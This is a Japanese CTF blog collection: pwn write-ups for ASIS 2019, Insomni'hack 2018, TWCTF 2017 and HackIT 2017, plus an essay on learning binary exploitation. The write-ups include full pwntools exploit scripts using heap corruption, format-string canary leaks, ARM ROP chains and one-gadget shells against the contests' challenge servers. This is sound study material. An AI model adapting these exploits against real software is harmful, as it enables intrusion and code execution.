ASIS CTF quals 2019 Pwn101

事前調査

なんかごちゃごちゃやってても全然SEGVしてくれないので、多分tcacheの実装された問題だということがわかります。

さらに、Heap Over Flowがあることがわかります。next chunk sizeを変えれます。

Exploit

後は適当に解きます。

malloc_hook (ではうまくいかなかったので、realloc_hookと組み合わせた)にonegadget RCEでフィニッシュです。

from pwn import *

context.log_level = "debug"
def add_address(desc_len, phone_number, name, description):
    conn.sendlineafter("> ", "1")
    conn.sendlineafter("Description Length: ", str(desc_len))
    conn.sendlineafter("Phone Number: ",  str(phone_number))
    conn.sendafter("Name: ", name)
    conn.sendafter("Description: ", description)

def show_address(index):
    conn.sendlineafter("> ", "2")
    conn.sendlineafter("Index: ", str(index))

def delete_address(index):
    conn.sendlineafter("> ", "3")
    conn.sendlineafter("Index: ", str(index))

def exploit():
    add_address(0x30, 0, "A", "A" * 0x30)
    add_address(0x40, 0, "A", "A" * 0x40)
    add_address(0xf30, 0, "A", "A" * 0x130)
    add_address(0xf30, 0, "A", "A" * 0x130)
    add_address(0xf30, 0, "A", "A" * 0x130)
    add_address(0x230, 0, "A", "A" * 0x230)

    delete_address(0)
    delete_address(2)
    delete_address(3)
    delete_address(4)

    add_address(0x38, 0, "A", "A" * 0x38 + "\xf1")
    add_address(0xf30, 0, "A", "\x30")
    show_address(2)
    conn.recvuntil("Description : ")
    __MALLOC_HOOK = u64(conn.recv(6) + "\x00\x00")
    __REALLOC_HOOK = __MALLOC_HOOK - 0x8
    LIBC_BASE = __MALLOC_HOOK - 0x3ebc30
    log.success("__MALLOC_HOOK: 0x%x", __MALLOC_HOOK)
    log.success("LIBC_BASE: 0x%x", LIBC_BASE)

    delete_address(1)

    add_address(0xe8, 0, "A", "A" * 0x28 + p64(0x51) + p64(__REALLOC_HOOK))
    add_address(0x40, 0, "A", "A" * 0x40)
    add_address(0x40, 0, "A", p64(LIBC_BASE + 0x4f322) + p64(LIBC_BASE + 0x98c3e))

    conn.sendlineafter("> ", "1")
    conn.sendlineafter("Description Length: ", str(0x40))
    conn.interactive()

if __name__ == "__main__":
    if len(sys.argv) > 1:
        HOST = "82.196.10.106"
        PORT = 29099
        conn = remote(HOST, PORT)
    else:
        #conn = process(["strace", "./pwn101.elf"])
        conn = process(["./pwn101.elf"])
    exploit()

Insomni'hack teaser 2018 [Pwn Sape 163] sapeloshop

観察

問題文

Of course Congolese sappers are hegemonic, we can't let Gaboma sappers say otherwise! Go on Jackie's website and teach him a good lesson by pwning him and show that you know how to sape!

通常のPwnでは nc {host_name} {port} のように ncまたはtelnetで接続するような問題が与えられますが

今回の問題では WebSiteに接続するという問題が与えられました。

もしかしたらWeb系との混合問題かもしれません。まずは何もわからないので、配られたファイルを見てみることにしましょう。

ファイルを解凍した中身は以下のようになりました。

$ file *
footer.html:  UTF-8 Unicode text
header.html:  HTML document, ASCII text
index.html:   HTML document, UTF-8 Unicode text
libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5381a457906d279073822a5ceb24c4bfef94ddb, for GNU/Linux 2.6.32, stripped
order.html:   HTML document, UTF-8 Unicode text
sapeloshop:   ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1c03964b1b95b599ee0949ee1bf62a06e02bf9bd, stripped

通常のPwn問と同様に実行可能なバイナリファイルとライブラリのバイナリファイルが入っています。 この問題では更に加えてhtmlファイルも入っています。

さて、とりあえずこのバイナリを実行して解析を進めてみようと思います。しかし、バイナリを実行しても何も表示されず、何かを入力しても、何も起こりません。

もしかすると直接このバイナリにHTTPアクセスを行える可能性があるかもしれません。 とりあえず、 socat TCP-LISTEN:31337,reuseaddr,fork EXEC:"strace -ff -s10000 ./sapeloshop" のようにしてlistenさせたあと、ブラウザ上からアクセスしてみます。

実際にアクセスしてみたところブラウザ上からは問題なくページを見ることが出来ました。 つまりこれはHTTPサーバーのバイナリと見て問題ないようです。

またバイナリを radare2 でみたところ、これは malloc()free() を使ったHeap系の問題と見ても良さそうです。

Heap系の問題と見た場合の exploit.py のテンプレートが以下になります。

import sys
from pwn import *

#context.log_level = "debug"

def generate_request(command, data=None):
   if not data is None:
       method = "POST"
   else:
       method = "GET"
   request = """{method} /{command} HTTP/1.1\r
Host: sapeloshop.teaser.insomnihack.ch\r
Connection: keep-alive\r
""".format(**locals())
   if not data is None:
       data_len = len(data)
       request += """Content-Length: {data_len}\r
\r
{data}""".format(**locals())
   else:
       request += "\r\n"
   return request

def get_index():
   conn.send(generate_request(""))
   conn.recvuntil("HTTP/1.1")

def post_add(desc):
   data = "desc=%s" % desc
   conn.send(generate_request("add", data))
   conn.recvuntil("HTTP/1.1")

def post_inc(item):
   data = "item=%d" % item
   conn.send(generate_request("inc", data))
   conn.recvuntil("HTTP/1.1")

def post_sub(item):
   data = "item=%d" % item
   conn.send(generate_request("sub", data))
   conn.recvuntil("HTTP/1.1")

def post_del(item):
   data = "item=%d" % item
   conn.send(generate_request("del", data))
   conn.recvuntil("HTTP/1.1")

def post_order(item):
   data = "item=%d" % item
   conn.send(generate_request("order", data))
   conn.recvuntil("HTTP/1.1")

def exploit():
   get_index()
   post_add("A" * 0x90)
   post_del(0)
   post_add("A" * 0x100)
   post_add("A")
   post_add("A")
   conn.interactive()

if __name__ == "__main__":
   if len(sys.argv) > 1:
       HOST = "sapeloshop.teaser.insomnihack.ch"
       PORT = "80"
       conn = remote(HOST, PORT)
       base_url = "http://" + HOST + "/"
   else:
       conn = process("./sapeloshop")#, env={"LD_PRELOAD":"./libc-2.23.so"})
       base_url = "http://localhost/"
   exploit()

リクエストヘッダーには Connection: keep-alive を含めないと一度リクエストを送っただけでプロセスが途絶えてしまうのでそうしておきます。

あとは普通のHeap問と同じように解きます。

Exploit

まずこのバイナリでは calloc() ではなく malloc() を使っているために、前に確保されたチャンクの情報が残ってしまうという脆弱性があります。

これを用いることで、 libcのベースアドレスと Heap領域のアドレスをリークすることが出来ます。

def exploit():
    get_index()
    post_add("A" * 0x17)
    post_add("B" * 0x8 + "\x21")
    post_add("C" * 0x87)
    post_sub(2)
    post_inc(2)
    for i in range(4):
        conn.recvuntil("src=\"img/")
    LEAK = u64(conn.recv(6) + "\x00" * 2)
    log.success("LEAK :0x%x" % LEAK)
    leak = 0x7f5e5b522b78
    libc = 0x7f5e5b15e000
    LIBC = LEAK - (leak - libc)
    log.success("LIBC :0x%x" % LIBC)
    post_sub(1)
    post_sub(0)
    post_inc(0)
    for i in range(2):
        conn.recvuntil("src=\"img/")
    HEAP = u64("\x00" + conn.recv(6)[1:] + "\x00" * 2)
    log.success("HEAP: 0x%x" % HEAP)

次に POST /sub に脆弱性があります。それは POST /sub によってアイテムの個数が0個になったときに free() されるのにHeapアドレスは残ったままになるというものです。

これによってもう一度アイテムを増やして、 POST /subをやったりあるいは POST /delをやったときに double free を起こせる脆弱性があります。

またもうひとつ、 % をアイテムの名前に含めると % がスキップされるにもかかわらず、サイズには % の数も含まれるというバグが存在しており、これらを用いることで

__malloc_free の書き換えが出来、それによってシェルの奪取が行えます。

以上がExploitになります。

最終的な exploit.py が以下になります。

import sys
from pwn import *
from pwn import p64, u64

#context.log_level = "debug"

def generate_request(command, data=None, fake_len=None):
    if not data is None:
        method = "POST"
    else:
        method = "GET"
    request = """{method} /{command} HTTP/1.1\r
Host: sapeloshop.teaser.insomnihack.ch\r
Connection: keep-alive\r
""".format(**locals())
    if not data is None:
        data_len = len(data)
        if not fake_len is None:
            data += "%" * (fake_len - data_len - 4)
            data_len = len(data)
        request += """Content-Length: {data_len}\r
\r
{data}""".format(**locals())
    else:
        request += "\r\n"
    return request

def get_index():
    conn.send(generate_request(""))
    conn.recvuntil("HTTP/1.1")

def post_add(desc, fake_len=None, end=False):
    data = "desc=%s" % desc
    conn.send(generate_request("add", data, fake_len))
    if not end:
        conn.recvuntil("HTTP/1.1")

def post_inc(item):
    data = "item=%d" % item
    conn.send(generate_request("inc", data))
    conn.recvuntil("HTTP/1.1")

def post_sub(item):
    data = "item=%d" % item
    conn.send(generate_request("sub", data))
    conn.recvuntil("HTTP/1.1")

def post_del(item):
    data = "item=%d" % item
    conn.send(generate_request("del", data))
    conn.recvuntil("HTTP/1.1")

def post_order(item):
    data = "item=%d" % item
    conn.send(generate_request("order", data))
    conn.recvuntil("HTTP/1.1")

def exploit():
    get_index()
    post_add("A" * 0x17)
    post_add("B" * 0x8 + "\x21")
    post_add("C" * 0x87)
    post_sub(2)
    post_inc(2)
    for i in range(4):
        conn.recvuntil("src=\"img/")
    LEAK = u64(conn.recv(6) + "\x00" * 2)
    log.success("LEAK :0x%x" % LEAK)
    leak = 0x7f5e5b522b78
    libc = 0x7f5e5b15e000
    LIBC = LEAK - (leak - libc)
    log.success("LIBC :0x%x" % LIBC)
    post_sub(1)
    post_sub(0)
    post_inc(0)
    for i in range(2):
        conn.recvuntil("src=\"img/")
    HEAP = u64("\x00" + conn.recv(6)[1:] + "\x00" * 2)
    log.success("HEAP: 0x%x" % HEAP)
    post_add("D" * 0x67)
    post_add("E" * 0x67)
    post_sub(2)
    post_sub(2)
    post_del(3)
    post_inc(2)
    post_del(2)
    __malloc_hook = 0x3c4b10
    post_add(p64(LIBC + __malloc_hook - 0x23)[:-2], fake_len=0x67)
    post_add("F" * 0x67)
    post_add("G" * 0x67)
#0x45216   execve("/bin/sh", rsp+0x30, environ)
#constraints:
#  rax == NULL
#
#0x4526a   execve("/bin/sh", rsp+0x30, environ)
#constraints:
#  [rsp+0x30] == NULL
#
#0xf02a4   execve("/bin/sh", rsp+0x50, environ)
#constraints:
#  [rsp+0x50] == NULL
#
#0xf1147   execve("/bin/sh", rsp+0x70, environ)
#constraints:
#  [rsp+0x70] == NULL
    one_gadget = 0xf02a4
    post_add("A" * 0x13 + p64(LIBC + one_gadget)[:-2], fake_len=0x67)
    post_add("A", end=True)
    conn.interactive()

def experiment():
    get_index()
    post_add("A" * 0x17, fake_len=0x87)
    conn.interactive()

if __name__ == "__main__":
    if len(sys.argv) > 1:
        HOST = "sapeloshop.teaser.insomnihack.ch"
        PORT = "80"
        conn = remote(HOST, PORT)
        base_url = "http://" + HOST + "/"
    else:
        conn = process("./sapeloshop")#, env={"LD_PRELOAD":"./libc-2.23.so"})
        base_url = "http://localhost/"
    exploit()

フラグは

INS{sapeurs_are_the_real_heapsters} です。

なんかそこそこPwnできるようになるためにしたこと

これは

adventar.org

の2日目の記事です。

1日目はhamaさんの

hama.hatenadiary.jp

でした。

  1. Pwn問をひたすら解きます。
  2. 1を繰り返します。

というのは基本なんですが、せっかく記事にするのでもっと詳しく書いていきます。

打倒!村人!

もともと僕が本格的にCTFを始めたのは去年のSECCON一週間前ぐらいからでした。

そのときはハリネズミ本をやってksnctfの村人Aを倒すところまで行きました。

ですが、正直その時はスタックについても書式文字列攻撃についても正直言って何もわからない状態でした。

なんとなく手順を真似るだけで精一杯な状況でした。

CTFに参加しまくろう!

それからHarekazeでほぼすべてのCTFに参加するようになって

なんとなくですが、これでCTFで何をすればいいかについて大分把握できるようになってきました。

このあと7月の後半に入って、Pwnをちゃんとやってみようと思い

そこからやっとPwnでHeap問みたいな今のPwn入門と言える問題が解けるようになっていきました。

もちろん7月以降の取り組みによってPwnがそこそこできるようになったとは思うのですが

これまでのCTFを地道に取り組み続けるというのは割と自分の中では基礎になっているのかなと思っています。

解析にあたっての取り組み方

ここからやっと本題で、Pwnをやる上で大事だなぁと思う取り組み方について紹介します。

最終目標「シェルをとる」の確認

まずはじめに自分はシェルをとるということに関して曖昧な理解でした。

シェルをとることについてはいろいろと方法がありますが、実は最終的にやればいいことはひとつで

execve("/bin/sh",["/bin/sh"],NULL);

を実行することになります。execveの第二引数はNULLでも構いません。

他にも方法があると思う方もいるかもしれませんが

system("/bin/sh"); あるいは、 onegadgetRCEといったものは内部で同様のことを実行しており

最終目的に至るための一つの手段になります。

EIPをとるとは

Pwnでよくある説明の中にEIPをとるという表現があると思います。

EIPはx86アーキテクチャにおけるプログラムの先頭を指すアドレスです。これは一般的にプログラム・カウンタと呼ばれます。

プログラム・カウンタであるEIPを書き換えるという表現は確かに正しいのですが、自分の中ではしっくり来ませんでした。

どちらかといえば、任意のアドレスにプログラムが飛ぶようにするという方が自分の中の理解になります。

プログラムを任意のアドレスに飛ばすと何が嬉しいか

次に任意のアドレスにプログラムを飛ばせるようになると何がいいのかということになります。

最初から自動的にシェルが取れるようなプログラムであれば最終目的はすぐに達成されますが

もちろんそのような問題は出ません。もし出たとしてもそれはカーネルのエクスプロイトか、Sanity Checkです。

実際にはシェルを取るためには、まず攻撃者が指定する動作(="/bin/sh"を実行する)をプログラムがするようにしなければいけません。

ここで指定する動作を実行させるためにできることがプログラムを任意のアドレスに飛ばすということです。

Pwnの問題には中にはプログラム中にフラグを表示させる関数やシェルをとる関数が仕込まれているがあるので

プログラムを任意のアドレスに飛ばすだけで攻略できる問題もあります。

プログラムをどこのアドレスに飛ばすか

次にそうでない場合、プログラムをどこのアドレスに飛ばすかということを考えなければなりません。

これには色々な飛ばし方があるので、飛ばせる範囲のことから考える必要があります。

そこで初めて、セキュリティ機構を把握することやメモリアドレスのリークが重要になってくるのです。

例えばセキュリティ機構ASLRが有効であれば、libcのアドレスはlibcのアドレスをリークしてからでないと

飛ばせる先の候補にならないという話などがそれに該当します。

利用できるものは何でも利用する

CTFにおいて大切なことは利用できるものは何でも利用するということです。

もちろんルールは守らなければいけませんが、ルールを守りさえすれば何でもしていいというのがCTFです。

とくにPwnにおいてはバイナリが配布されていることが多く、それがまず大きな利用できる資源になります。

次に解析していく中で、気になったことがあればすぐにWebで検索することです。

Pwnはバイナリを解析することがすべてのように思いがちですが、知識を違うところから得ることで解ける問題もあります。

例えばライブラリをそのまま使ってコンパイルしたような痕跡を発見して、それで検索してみると見事にライブラリのソースコードが出てきたり

過去問のwriteup(解説記事)がでてくるといったようなことは割とよくあることです。

また基礎的なことですが、アセンブリでわからない命令があった場合は即座に検索しておくのがおすすめです。

命令についてはいつまで検索を続ければいいのか不安になる方もいるかもしれませんが

そのうち慣れてくると検索しなくても何をやっているかがわかるようになるので大丈夫です。

さいごに

CTFでもっとも大事なのは絶対に問題を解いてやると思う根気と情熱だと思っています。

正直言って、自分の場合は割と執着に近いレベルでこれをやっています。

とにかく取り組み続けてみましょう。もしかしたら何かがわかるかもしれません。

CTF AdventCalendar 3日目はmegumishの

実践!Pwn入門 0CTF 2017-Baby Heap 2017 で学ぶPwnの進め方

です。

TWCTF 2017 [Pwn 86] simple note

Tokyo Westerns CTF 2017 の Pwn問です。

開催期間中に解けませんでしたが供養のため。

観察

セキュリティ機構

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

fileコマンド

 »»»» file simple_note
simple_note: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9976eff277e9b1fef5ebe60277ea7eb90a17625e, not stripped

さて今回の問題はHeap Exploit問のようです。

editコマンドは strlen で長さを数えたあと、その長さ分の文字列を入力として受け付けるようです。

例えば、addコマンドにより 0x88 のような大きさの文字列を二回とった場合(この場合mallocでは0x90の長さの領域が確保されるが、実際にはオフセット0x88部分に次の領域のサイズが格納されるようになる。)

以下のようなデータの配置になります。

...
0x1b47000:  0x0000000000000000  0x0000000000000091
0x1b47010:  0x4141414141414141  0x4141414141414141
0x1b47020:  0x4141414141414141  0x4141414141414141
0x1b47030:  0x4141414141414141  0x4141414141414141
0x1b47040:  0x4141414141414141  0x4141414141414141
0x1b47050:  0x4141414141414141  0x4141414141414141
0x1b47060:  0x4141414141414141  0x4141414141414141
0x1b47070:  0x4141414141414141  0x4141414141414141
0x1b47080:  0x4141414141414141  0x4141414141414141
0x1b47090:  0x4141414141414141  0x0000000000000091
0x1b470a0:  0x4141414141414141  0x4141414141414141
0x1b470b0:  0x4141414141414141  0x4141414141414141
...

バイナリはリトルエンディアンなので、メモリはひとつの塊(8byte)の中では右から左(アドレスが小さい方から)に進んでいきます。そのため アドレス 0x1b47090 の文字列 0x4141414141414141 と アドレス 0x1b47098 の文字列は 0x0000000000000091 は隣接しているため、 実際のところ 0x41414141414141419100000000000000 のようになっていると見ることが出来ます。

さて strlen では文字列が終端文字 0x00 に到達するまで長さをかぞえます。ということは、つまり今回の場合では次の領域のサイズを示すバイトを上書きして入力できるということになります。

あとはこれを用いて、領域をオーバーラップさせunlink attackにつなげてgot領域の atoi 関数を system 関数に書き換えればシェルが取れます。

unlink attackについてはbataさんの資料が詳しいです。

katagaitai CTF勉強会 #1 pwnables編 - DEFCON CTF 2014 pwn1 heap / katagaitai CTF #1 // Speaker Deck

Exploit

以下のExploitではわざわざ領域をオーバーラップさせることで、LIBCのアドレスをリークしていますが実際にはaddコマンドで入力した文字列が終端処理されないため、単にfreeしてLIBC上のアドレスを出した後、8byteだけ文字を入力するなどすればLIBCのリークは可能だと思います。

from pwn import *
import sys

#context.log_level = "debug"
def add_note(size, content):
    conn.sendafter("Your choice:", "1")
    conn.sendafter("Please input the size:", str(size))
    conn.sendafter("Please input your note:", content)

def delete_note(index):
    conn.sendafter("Your choice:", "2")
    conn.sendafter("Please input the index:", str(index))
    
def show_note(index):
    conn.sendafter("Your choice:", "3")
    conn.sendafter("Please input the index:", str(index))

def edit_note(index, content):
    conn.sendafter("Your choice:", "4")
    conn.sendafter("Please input the index:", str(index))
    conn.sendafter("Please input your note:", content)

#size 0x7f >
def exploit():
    add_note(0x88, 'A' * 0x88) #idx0
    add_note(0x88, 'A' * 0x88) #idx1
    pause()
    add_note(0x88, 'A' * 0x88) #idx2
    delete_note(1)
    add_note(0x88, 'A' * 0x8) #idx1
    show_note(1)
    conn.recvuntil('Note: \n')
    LEAK = u64(conn.recv(14)[-6:] + '\x00' + '\x00')
#>>> hex(0x7f5ce68adb78 - 0x7f5ce64e9000)
#'0x3c4b78'
    LIBC = LEAK - 0x3c4b78
    log.success("LEAK :0x%x" % LEAK)
    log.success("LIBC :0x%x" % LIBC)

    add_note(0x88, 'A' * 0x88)#idx3
    add_note(0xf8, 'A' * 0xf8)#idx4 0x00
    add_note(0x88, 'A' * 0x88)#idx5 0x100
    add_note(0x88, 'A' * 0x88)#idx6 0x190
    content = 'A' * 0x18 + p64(0x71)
    content += 'A' * (0x88 - len(content))
    add_note(0x88, content)#idx7 0x220

    edit_note(3, 'A' * 0x88 + '\x41\x02')
    delete_note(4)
    content = 'A' * 0x108 + p64(0x81)
    content += p64(0x6020c0 + 0x8 * (5 - 3)) + p64(0x6020c0 + 0x8 * (5 - 2))
    content += 'A' * 0x60 + p64(0x80) + p64(0xb0)
    content += 'A' * (0x238 - len(content))
    add_note(0x238, content)
    delete_note(6)
#0088| 0x602058 --> 0x7f680f492e80 (<atoi>:
    edit_note(5, '\x58\x20\x60')
#0000000000045390 W system
    edit_note(2, p64(LIBC + 0x45390))
    conn.interactive()

def experiment():
    add_note(0x88, 'A' * 0x88)
    add_note(0x88, 'A' * 0x88)
    add_note(0x88, 'A' * 0x88)
    add_note(0x88, 'A' * 0x88)

    delete_note(1)
    pause()

if __name__ == "__main__":
    if len(sys.argv) > 1:
        HOST = "pwn1.chal.ctf.westerns.tokyo"
        PORT = 16317
        conn = remote(HOST, PORT)
    else:
        conn = process("./simple_note", env={"LD_PRELOAD":"./libc.so.6"})
    exploit()
    #experiment()

フラグは時間内に取れなかったので知りません。

TWCTF 2017 [Pwn 23] Just do it!

Tokyo Westerns CTF 2017 の warmup問題です。

観察

セキュリティ機構の確認

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

fileコマンド

 »»»» file just_do_it
just_do_it: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cf72d1d758e59a5b9912e0e83c3af92175c6f629, not stripped

静的解析をしてみると、ebp - 0x20 の位置に入力した文字列が、 ebp - 0xc の位置に間違ったパスワード入力した時に出るメッセージのアドレスが格納されているようです。

また 0x20 - 0xc = 0x14 であり、入力出来る文字数は 0x20 なので ebp - 0xc の位置にフラグの文字列のアドレスを入れると良さそうです。

今回の問題の場合、flagの文字列は 0x0804a080 にあるようなのでそれを入れます。

Exploit

観察 で計画した通りのExploitコードが以下です。

from pwn import *

HOST = "pwn1.chal.ctf.westerns.tokyo"
PORT = 12345
#conn = process("./just_do_it")
conn = remote(HOST, PORT)
payload = "A" * (0x20 - 0xc)
#s obj.flag
#[0x0804a080]>
payload += p32(0x0804a080)
conn.sendline(payload)
conn.stream()

フラグです。

TWCTF{pwnable_warmup_I_did_it!}

余談ですがこの問題は、自分の頭の中ではROPで解いたつもりだったのですが、実際は上記に示すような解法になっていたようです。(とてもアホだった。)

HackIT CTF 2017 [Pwn 200] Terminator canary

観察

[Pwn 150]と引き続きこちらのバイナリもARMのようです。

»»»» file pwn200
pwn200: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=d78f4d65bc199dc2216d5076b7944d7707c6163a, not stripped

まずはセキュリティ機構のチェックをします。

»»»» gdb -q pwn200
Reading symbols from pwn200...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

CANRYとNXBitが有効なようです。 今回も statically linked ですので、条件を揃えた場合のみシェルコードが実行可能ということを理解してExploitコードを組み立てましょう。

まずは動的解析をしてみました。(実際にやるときはどちらでもいいとは思いますが、僕の場合は動的解析で動きを掴んで詳細を追うために静的解析に取り組むほうが多いです。)

その結果 CHECK> の直後の入力で書式指定文字列攻撃(FSA)が、 FIGHT> の直後の入力でBuffer Over Flowができることが分かりました。ただしBoFはCANARYの値を特定できない限りは利用できません

さてFSAが可能なことがわかっているため、次は使えそうなオフセットを次のようなスクリプトで探します。

from pwn import *

context.log_level = "debug"
for i in range(1,1000):
    conn = process('./pwn200')
    #conn = remote(HOST, PORT)
    conn.sendlineafter('CHECK> ', 'AAAA%%%d$s' % i)
    addr = conn.recvuntil('I need')[4:-6]
    if not '0' == addr:
        print(i)
        print(addr)
        conn.close()

この結果以下の有用なオフセットを発見しました。

オフセット   3: 入力先のアドレスのポインタ
オフセット   5: 入力先
オフセット 520: _libc_start_main()の途中のアドレス(つまり、main()の呼び出し元)
オフセット 534: CANRAYの値のポインタ

このオフセットは試行錯誤のすえに手に入れたものなので、実際にやるときは必要になってから発見するのがいいと思います。

Exploit

前述したようにこの問題はシェルコードを実行する環境を整えないとシェルコードは使えません。そのためまずはCANARYを特定して、BOFを発生させてROPにつなげる方法について検討します。

まず、CANARYを特定したいところですが、ひとつ問題があります。それはCANARYの最下位のバイトがNULLバイトであるということです。(これは必ずそうなるようです。自分はあまり詳しくないので、他のアーキテクチャでもこうなるのかはわかりません。)

これを回避するためにまず以下のようなペイロードで最下位のバイトを書き換えておきます。

'%65x%534$hhn'

さらにこのペイロードに以下のペイロードを追加することでCANARYをLEAKします。

'%534$s'

最後に以下のペイロードを追加してCANARYの値を元に戻します。元に戻しておかないと、この時点でBoFが検出されることになってしまいます。

'%179x%534$hhn'

値を変更元より小さい値にしたいときは数値をオーバーフローさせることでそれが可能になります。

さて、これでCANARYをLEAKすることができました。またCANARYは今回の場合は入力バッファーの最後につくようなので、'A' * 1024(この値は静的解析などで調べる)のあとにCANARYを配置してBoFのオフセットを探しましょう。

BoFのオフセットが特定できたらあとは、 execve("/bin//sh", NULL, NULL) を実行して終わりです。

今回はARMアーキテクチャなので、レジスタr7にexecve()のシステムコール番号11を入れ、引数をr0, r1, r2の順番に入れれば完了です。

また文字列 "/bin//sh" は入力に含めておいて、オフセット3を用いることでそれを指すようにしておきます。

ARMアーキテクチャには ret 命令のようなものはないため、 bx {reg} 命令を用いてROPを実行します。最後に割り込み処理 svc 0 を実行することでシステムコールを呼ぶことが出来ます。

以下が最終的な Exploitコードです。参考のため、オフセット確認用のスクリプトなどもコメントアウトして残しておきました。

from pwn import *

#context.log_level = "debug"
HOST = '165.227.98.55'
PORT = 3333
#3 stack pointer 5
#for i in range(1,1000):
#    conn = process('./pwn200')
#    #conn = remote(HOST, PORT)
#    conn.sendlineafter('CHECK> ', 'AAAA%%%d$s' % i)
#    addr = conn.recvuntil('I need')[4:-6]
#    if not '0' == addr:
#        print(i)
#        print(addr)
#        conn.close()
#for i in range(1010, 2000):
#    print(i)
#    #conn = remote(HOST, PORT)
#    conn = process('./pwn200')
#    conn.sendlineafter('CHECK> ', 'AAAA')
#    conn.sendlineafter('and your motorcycle.', 'A' * i)
#    conn.stream()
#    conn.close()
#conn = remote(HOST, PORT)
#check offset
#for i in range(100):
#    print(i)
#    conn = process('./pwn200')
#    conn.sendlineafter('CHECK> ', '%1536x%520$hn')
#    conn.sendlineafter('and your motorcycle.', 'A')
#    conn.sendlineafter('CHECK> ', '%65x%534$hhn%534$s%179x%534$hhn')
#    conn.recvuntil('A')
#    canary = u32('\x00' + conn.recv(3))
#    payload = 'A' * 1024
#    payload += p32(canary)
#    payload += 'A' * i
#    conn.sendlineafter('FIGHT> ', payload)
#    conn.interactive()
# offset 8
#conn = process(['qemu-arm-static', '-g', '1234', 'pwn200'])
#conn = process(['qemu-arm-static','pwn200'])
conn = remote(HOST, PORT)
conn.sendlineafter('CHECK> ', '%1536x%520$hn%3$x')
STACK = int(conn.recvuntil('I')[-9:-1], 16)
log.success("STACK :0x%x" % STACK)
conn.sendlineafter('and your motorcycle.', 'A')
payload = '%65x'
payload += '%534$hhn%534$s%179x%534$hhn'
payload += '/bin//sh\x00'
conn.sendlineafter('CHECK> ', payload)
conn.recvuntil('A')
STACK_BINSH = STACK + len(payload) - 9
log.success("STACK_BINSH :0x%x" % STACK_BINSH)
CANARY = u32('\x00' + conn.recv(3))
log.success("CANARY :0x%x" % CANARY)
payload = 'A' * 1024
payload += p32(CANARY)
payload += 'A' * 12
#  0x00054c78           9040bde8  pop {r4, r7, lr}
#  0x00054c7c           1eff2fe1  bx lr
payload += p32(0x00054c78)
payload += p32(0)
payload += p32(11)
#  0x00070068           0140bde8  pop {r0, lr}
#  0x0007006c           1eff2fe1  bx lr
payload += p32(0x00070068)
payload += p32(STACK_BINSH)
#  0x0006faf8           0640bde8  pop {r1, r2, lr}
#  0x0006fafc           920003e0  mul r3, r2, r0
#  0x0006fb00           031041e0  sub r1, r1, r3
#  0x0006fb04           1eff2fe1  bx lr
payload += p32(0x0006faf8)
payload += p32(0)
payload += p32(0)
#  0x00070590           0240bde8  pop {r1, lr}
#  0x00070594           1eff2fe1  bx lr
payload += p32(0x00070590)
payload += p32(0)
#0x000101b8   # 4: svc 0
payload += p32(0x000101b8)
conn.sendlineafter('FIGHT> ', payload)
conn.interactive()

フラグ h4ck1t{Sarah_would_be_proud}

FSAとBoFを組み合わせた問題は初めて解いたので面白かった。

HackIT CTF 2017 [Pwn 150] Today’s moon phase

観察

まずは file でどんなバイナリか確認します。

»»»» file pwn150                                                                                                    pwn150: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=5a8f4e74e4fd679377d86ea567c6da3701b1bd4a, not stripped

ARMアーキテクチャのバイナリのようです。これを実行する場合はubuntuでは qemu-user-static をインストールすることで実行できます。このパッケージは様々なアーキテクチャに対応しているので他のアーキテクチャのバイナリもこれひとつで実行できるはずです。

次にバイナリのセキュリティ機構について確認します。

 »»»» gdb -q pwn150                                                                                                                          0|00:31:26
Reading symbols from pwn150...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

NXBitがついているようです。この時点で dynamically linked の場合はシェルコードを流す解法でないことが分かります。 今回のバイナリの場合、 statically linked のため、もしかしたら _dl_make_stack_executable()mmap() を使うことで、シェルコードが利用できる可能性もあります。とりあえずこのことは頭の片隅に置いて、次にディスアセンブリしてみましょう。(もちろん、 dynamically linked でも上記の関数は使えますが、それらを使わずに system()one gadget RCE を使うほうが楽なことが多いです。)

ディスアセンブリには radare2 を使います。 r2 -w -a arm pwn150 のように -a オプションでアーキテクチャを指定してディスアセンブリ出来ます。 -w はバイナリに書き込み可能にするためのオプションです。 -w オプションを使うと、開いている間はバイナリの実行ができなくなるので、コピーしたものを解析するのがおすすめです。

statically linked のため関数が多かったためいきなり、 sym.main を見ることにしました。 VV コマンドでグラフ表示してみていくと、 sym.get_flag という関数があるようです。この問題のExploitではこの関数の呼び出しを目標にして、脆弱性を探します。

続いて、動的解析に入ります。結論から言うと、 What is your name? の直後の入力には脆弱性がありませんが、 そのあと選択肢を答えていった後の Please, enter length of your message: の直後の入力で Buffer Over Flow を起こせるようです。

BoFを利用するため、オフセットを調べたいところですが残念ながらこの時はデバッガーの使い方を知りませんでした。そのため一文字ずつ送る文字を増やしていき、SEGVの起こる位置を調べてオフセットを確認しました。

(その後に分かったことですが、 qemu-arm-static -g {port} {exec_file} でgdbserverを立てることが可能です。また qemu-arm-static -strace {exec_file} でstraceと同様の効果が得られます。)

オフセットを調べることが出来たので後はreturn先のアドレスに get_flag() 関数を仕込めばExploitの完成です。

Exploit

とくにBoFの起こし方は x86/x86_64 アーキテクチャなどと変わらないため、オフセット分を埋めて get_flag() のアドレスを仕込みます。また入力には長さを求められますが、そこは -1 などにしておけば問題ないです。

